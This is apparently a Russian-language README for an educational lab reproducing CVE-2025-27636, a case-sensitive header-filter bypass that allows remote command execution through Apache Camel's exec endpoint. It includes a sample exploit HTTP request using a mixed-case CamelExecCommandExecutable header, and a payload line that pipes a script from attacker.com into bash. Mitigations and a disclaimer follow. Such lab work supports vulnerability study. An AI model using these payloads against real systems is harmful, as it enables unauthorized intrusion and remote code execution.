
Практическая лаборатория для воспроизведения CVE-2025-27636 — критической RCE в Apache Camel через обход фильтра заголовков с учётом регистра. Демонстрирует внедрение заголовков для выполнения произвольных команд через exec endpoint.
CVE-2025-27636 — это критическая уязвимость удаленного выполнения кода (RCE) в Apache Camel, а именно в компоненте camel-exec. Она возникает из-за тонкой, но опасной проблемы:
DefaultHeaderFilterStrategyвыполняет чувствительные к регистру проверки имен заголовков, которые можно обойти, используя альтернативный регистр.
Это означает, что внутренние заголовки Camel — такие как CamelExecCommandExecutable — которые должны блокироваться, могут просочиться, если манипулировать их регистром (например, cAmeLexecCommandExecutable).
Когда этот заголовок достигает конечной точки exec:, злоумышленник может внедрить произвольные команды, что приводит к полной компрометации системы.
DefaultHeaderFilterStrategyDefaultHeaderFilterStrategy от Apache Camel предназначен для защиты внутренних заголовков, таких как:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 уязвим, если регистр обходит фильтр🔍 Что значит «внутренние»? Внутренние заголовки — это:
Заголовки с префиксом Camel*
Используются только внутри Camel для управления поведением (маршрутизацией, обработкой, конечными точками)
Не предназначены для раскрытия внешним системам, таким как HTTP, JMS и т. д.
Однако до исправления этот фильтр сопоставлял имена заголовков с учетом регистра, что нарушает спецификацию HTTP (где заголовки нечувствительны к регистру) и позволяет обходы, например:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Этот заголовок будет пропущен к компоненту exec:, который затем выполнит полезную нагрузку.
CamelExecCommandExecutableЭтот заголовок указывает компоненту camel-exec, какую команду выполнить. Он мощный — и чрезвычайно опасный — если им можно управлять извне, особенно в средах, поддерживающих команды уровня ОС (например, bash, cmd.exe и т. д.).
Проект: Pinewood Server Diagnostic
Автор: @enochgitgamefied
Цель: Воспроизвести CVE-2025-27636 в живой, образовательной лаборатории.
👉 https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab
Создан с использованием Apache Camel 4.10.0
Маршруты:
/tasks → Выводит список задач с помощью exec:tasklist или exec:ps/systeminfo → Выводит информацию об ОС (systeminfo или uname -a)/network → Показывает ipconfig или ifconfigВеб-интерфейс по адресу / с использованием встроенного Jetty
Уязвим для инъекции заголовков с измененным регистром, если фильтрация не исправлена
# Клонирование репозитория
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Сборка приложения
mvn clean package
# Запуск
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Затем откройте в браузере:
🖥️ http://<ваш-ip>:8484
Неисправленное поведение:
Если отправить такой заголовок (обратите внимание на регистр):
cAmeLexecCommandExecutable: whoami
Фильтр не блокирует его, и он передается на конечную точку exec:. Вы можете продемонстрировать:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← опасноГотовится полная демонстрация, которая будет загружена в ближайшее время. В ней будут рассмотрены:
Ссылка на демонстрацию на YouTube: https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy, если нужно применить более строгую логику.exec: напрямую через HTTP, если они не полностью защищены.exec.Эта лаборатория предназначена только для образовательных и контролируемых лабораторных целей. Никогда не пытайтесь использовать это на несанкционированных системах или сетях.
